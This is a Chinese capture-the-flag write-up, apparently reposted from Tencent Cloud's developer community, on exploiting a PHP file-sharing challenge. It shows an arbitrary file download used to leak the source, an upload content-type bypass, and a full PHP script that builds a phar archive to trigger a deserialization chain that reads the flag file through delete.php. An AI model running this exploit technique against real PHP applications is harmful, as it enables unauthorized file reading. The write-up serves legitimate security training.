这道题涉及的应用是一个网盘系统,包含登录、注册、上传、下载和删除功能。
登录注册功能可能存在注入,但没有测出来,遂放弃。
上传页面限制了只能上传图片,这里可以通过修改content-type进行绕过,但是文件后缀还是会被改成图片后缀。
下载页面有一些问题,通过修改filename参数可以下载任意文件,从而获得应用的源码。
这里得到了login、register、download、delete和class等PHP文件的代码,经过简单的分析发现登录和注册页面使用了预编译技术,SQL注入是铁定没戏了。
有没有可能通过任意文件下载获得flag呢?答案是否定的,download.php文件限制了filename的参数不能为flag。
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
Header("Content-type: application/octet-stream");
Header("Content-Disposition: attachment; filename=" . basename($filename));
echo $file->close();
} else {
echo "File not exist";
}
通过审计源码我有了新的发现,在class.php中可能触发反序列化。
<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);
class User {
public $db;
public function __construct() {
global $db;
$this->db = $db;
}
public function user_exist($username) {
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows;
if ($count === 0) {
return false;
}
return true;
}
public function add_user($username, $password) {
if ($this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
return true;
}
public function verify_user($username, $password) {
if (!$this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($expect);
$stmt->fetch();
if (isset($expect) && $expect === $password) {
return true;
}
return false;
}
public function __destruct() {
$this->db->close();
}
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);
$key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]);
foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();
}
}
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}
public function __destruct() {
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
$table .= '</tr>';
}
echo $table;
}
}
class File {
public $filename;
public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}
public function name() {
return basename($this->filename);
}
public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];
}
public function detele() {
unlink($this->filename);
}
public function close() {
return file_get_contents($this->filename);
}
}
?>
反序列化可能通过phar触发,或者利用源码中可能包含的unserialize函数触发,但是源码中并没有unserialize函数,只能考虑借助phar协议触发。
如果通过phar协议触发,需要具备一些条件:phar协议被允许使用且存在触发点。
在download.php,delete.php页面发现可以使用phar协议。
接下来进行payload的构造来想办法触发phar协议进而借助反序列化尝试得到flag。
首先先来找找有没有命令执行或者文件读取相关的函数,发现:
public function close() {
return file_get_contents($this->filename);
}
接着找一找有没有能destruct或者wakeup等反序列化常用的魔术方法,发现User和FileList类各有一个
#User
public function __destruct() {
$this->db->close();
}
#FileList
public function __destruct() {
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
$table .= '</tr>';
}
echo $table;
}
User中的destruct调用了close方法,而巧合的是刚好有一个close方法可以读取文件,这两个地方可以结合起来用,但是还需要找一个地方可以讲返回的内容显示出来。这里应该是要借助另一个destruct方法了,另一个destruct方法刚好有一个echo,那么就有可能打印出flag。还有一个值得注意的点是FileList类中有call方法,这个方法可能是在暗示我们要通过User类调用close方法来触发它,并通过它最终调用close方法。
为了方便后续的介绍,这里将代码精简一下。
<?php
class User {
public $db;
public function __destruct() {
$this->db->close();
}
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct($path) {
$this->files = array(new File());
$this->results = array();
$this->funcs = array();
}
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}
public function __destruct() {
$table .= '<thead><tr>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
}
echo $table;
}
}
class File {
public $filename;
public function close() {
return file_get_contents($this->filename);
}
}
?>
上面说了很多条件,这里直接说最后的思路吧。
我们的目的是借助echo打印出flag,echo的内容中的变量有value。value的值来自于results,results中的内容可受call魔术方法影响,call魔术方法可以用来触发close方法,close方法可以得到flag。
<?php
class File {
public $filename='/flag.txt';
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct() {
$this->files = array(new File());
$this->results = array();
$this->funcs = array();
}
}
class User {
public $db;
public function __construct() {
$this->db = new FileList();
}
}
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new User();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("exp.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
在delete.php页面可以触发成功,download中由于而限制了open_basedir无法触发。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。